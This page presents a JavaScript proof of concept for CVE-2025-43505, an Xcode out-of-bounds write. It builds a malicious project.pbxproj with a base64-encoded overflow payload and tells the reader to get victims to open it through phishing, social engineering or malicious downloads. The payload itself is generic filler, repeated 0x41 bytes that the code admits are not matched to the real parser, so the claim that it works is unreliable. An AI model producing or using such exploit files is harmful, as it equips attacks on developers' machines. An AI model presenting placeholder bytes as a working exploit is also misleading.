CVE-2025-43505: Apple Xcode 26.1 越界写入漏洞

// CVE-2025-43505 PoC - Malicious Xcode project file trigger // This PoC demonstrates the structure needed to trigger the out-of-bounds write // NOTE: This is for educational/research purposes only // Generate malicious payload that triggers OOB write in Xcode file parser function generateMaliciousPayload() { const payload = Buffer.alloc(1024); // Craft specific byte pattern that triggers parser vulnerability // The exact pattern depends on the specific file format parser being exploited payload.writeUInt32LE(0x41414141, 0); // Magic number payload.writeUInt32LE(0x00001000, 4); // Size field payload.writeUInt32LE(0x00000001, 8); // Type identifier // Overflow data - write beyond expected buffer boundary for (let i = 16; i < 256; i++) { payload.writeUInt8(0x41, i); // 'A' characters } return payload; } // Create malicious Xcode project structure function createMaliciousXcodeProject() { const maliciousPayload = generateMaliciousPayload(); // Simulate project.pbxproj file with embedded malicious data const projectFile = `/* Begin PBXProject section */ 1234567890ABCDEF1234567890ABCDEF12345678 /* Project object */ = { isa = PBXProject; mainGroup = 1234567890ABCDEF1234567890ABCDEF12345678; /* Malicious payload injection point */ customData = "${maliciousPayload.toString('base64')}"; }; /* End PBXProject section */ `; return projectFile; } // Usage:诱导目标用户打开包含恶意payload的Xcode项目文件 // Attack vector: Social engineering, phishing, or malicious download console.log('Malicious Xcode project file generated'); console.log('Target must open this file in vulnerable Xcode version');